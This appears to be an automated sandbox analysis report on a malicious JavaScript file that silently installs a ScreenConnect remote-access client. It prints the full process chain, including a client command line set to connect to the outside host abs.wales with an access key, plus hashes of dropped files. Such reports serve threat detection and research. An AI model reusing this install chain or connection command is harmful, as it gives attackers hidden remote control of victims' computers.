Analysis

  • max time kernel
    298s
  • max time network
    277s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 19:10

General

  • Target
    Document-gsx13.js
  • Size 2.4MB
  • Sample260804-xve3laxhrd
  • SHA256 dfcfeeddcf0feab7f06fc012c26585a6d848ba4e81993c73cf21e275164bf754
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 20 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Document-gsx13.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5856
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Update1.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2384
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5908
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DD7604D58C0376A18A7A7C21B6EDAFB5 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5004
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI552B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240735812 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4660
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5752
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F7CF6B8E26BEC97E92E4E372CE789023
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1676
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9E079B0F236EF562D634CE3B130346C8 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1092
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5160
    • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=abs.wales&p=8041&s=cabc43f5-1314-4bc8-b745-df5b15645346&k=BgIAAACkAABSU0ExAAgAAAEAAQDBDBXqpk9Kx4Qm%2bJTtb1UObhg2VTi1LC7b4xXxhkqKL7S%2fN6I%2bD2%2bS1L2rKh1MKOXCps7p9FgQLJKL205yyuUBQBWUYPu0nXIVDQ1bdaKGwqx00hh6gc9L6AiPV8LolZdaW4kSxvDSchPZxD6ZmES67tQ9gdADJl52xvZgX%2bj1eTpVk756wVPOomjAhkGU98UC8eNxesozUqhkVAg5FXahq%2bcPR8t%2bTphcW4dRAgDG6QzM3xtK4Axj0z4x6FCEPDLUCMWJgNpoRrOyDvIBTE82oLhPDLNwHjtAMW6g6%2feRtguRPckaLSzk4RQjfvGUN997l%2ffF4Et2e4ygBJhyEZPO&t=&c=ROO7Y&c=ROO7Y&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "aa13b0e7-3ff6-41de-9a5f-040d321722a8" "User"
        2⤵
        • Executes dropped EXE
        PID:4796
      • C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe" "RunRole" "61eeee8f-7a2f-4ce8-b381-50498b140f05" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3524

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59a7e0.rbs

          • Path C:\Config.Msi\e59a7e0.rbs
          • Size 212KB
          • SHA256 ee386a40a088e4a5f09dbd442ca2108f1c79c36b8ebe51578e3f981678e58a22
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.en-US.resources
          • Size 308B
          • SHA256 25816b0a68a814e47d7463a2c9ea06d08f115d0e4c92bad8e2f3457d280348e6
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.Override.resources
          • Size 241B
          • SHA256 b222ffd3bb91120201046546dd5fde1565c4e5cc6b47060419e1778e833fd4db
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.en-US.resources
          • Size 33KB
          • SHA256 3d42f719c28b1c3eebd99bc17ba7793330ce0099fc0dbfef985ecd523cddae70
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\Client.resources
          • Size 2KB
          • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Client.dll
          • Size 146KB
          • SHA256 49e4ee62deec4d4aee96a4ba44d05d9bf2d0a9933160620f6d24e54e309bfb60
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.dll
          • Size 30KB
          • SHA256 7cf638cc92d30d774a0d059b9524d2c62b66ff44c567945cab68888392ab3964
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.ClientService.exe
          • Size 88KB
          • SHA256 259dd88263bacfaa4c98686a1bb5ac1581d87f6788f23d145086e369126a34b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 567685ab504a98ce5079890fc850d4032ef0cbd5a53226fbdaa2bc77eda7f73a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe
          • Size 534KB
          • SHA256 f65a0d67c2398cd51c8d4cd4b95be81db4efe69ba9bda3d958e2b52becf216b3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (0ad06670a691ca1d)\app.config
          • Size 1KB
          • SHA256 a38ebc0343ad7eae9749feafe11b534e4beca81916646d9f3eda3f00e7bed751
          • MD5 SHA1 SHA512 TLSH

          MSI552B.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI552B.tmp
          • Size 336KB
          • SHA256 0026221a5cf41719e401da2657addbeb7190d98809ddbd09ea0dd063524597e7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI552B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI552B.tmp-\ScreenConnect.Core.dll
          • Size 378KB
          • SHA256 1b15d7c3465ca779ec46b83704412edabfa8d47f32fa545080d613d1f10040c4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI552B.tmp-\ScreenConnect.InstallerActions.dll
          • Size 17KB
          • SHA256 584ccce1c440c597712ef9bff7e22da4c4e169bebd5f2db4d3cca4eea3e74759
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Update1.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\Update1.ClientSetup.msi
          • Size 1.8MB
          • SHA256 cc72505f46c8f96bdf72f4471be3ae6c674d3116319d7ec9e1d969eaa250383b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIADEB.tmp

          • Path C:\Windows\Installer\MSIADEB.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 2871ef11d331a96d8679576b68e2f215bc14695ab958157c70bc1f50523fa043
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {276f6058-1117-42ab-95a4-0b2085d4d017}_OnDiskSnapshotProp

          • Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{276f6058-1117-42ab-95a4-0b2085d4d017}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 645e5b3eca47e738610e9efd5dbdb4659264c830e5f657383204e4507b4cb9f8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4168-86-0x0000000004800000-0x0000000004988000-memory.dmp

          memory/4168-91-0x0000000004CF0000-0x0000000004D7A000-memory.dmp

          memory/4168-72-0x0000000001EA0000-0x0000000001EAE000-memory.dmp

          memory/4168-78-0x0000000004360000-0x000000000438A000-memory.dmp

          memory/4168-85-0x0000000004640000-0x00000000047F8000-memory.dmp

          memory/4168-92-0x0000000004D80000-0x0000000004DD0000-memory.dmp

          memory/4660-16-0x0000000003BA0000-0x0000000003BCE000-memory.dmp

          memory/4660-20-0x0000000003BF0000-0x0000000003BFA000-memory.dmp

          memory/4660-24-0x0000000005C80000-0x0000000005CE4000-memory.dmp

          memory/4796-100-0x00000000017D0000-0x00000000017FA000-memory.dmp

          memory/4796-103-0x000000001C2F0000-0x000000001C478000-memory.dmp

          memory/4796-106-0x00000000017A0000-0x00000000017AE000-memory.dmp

          memory/4796-101-0x000000001BA70000-0x000000001BAD4000-memory.dmp

          memory/4796-102-0x000000001C130000-0x000000001C2E8000-memory.dmp

          memory/4796-99-0x0000000000EB0000-0x0000000000F3A000-memory.dmp

          memory/5908-117-0x000001A8C1C00000-0x000001A8C25A4000-memory.dmp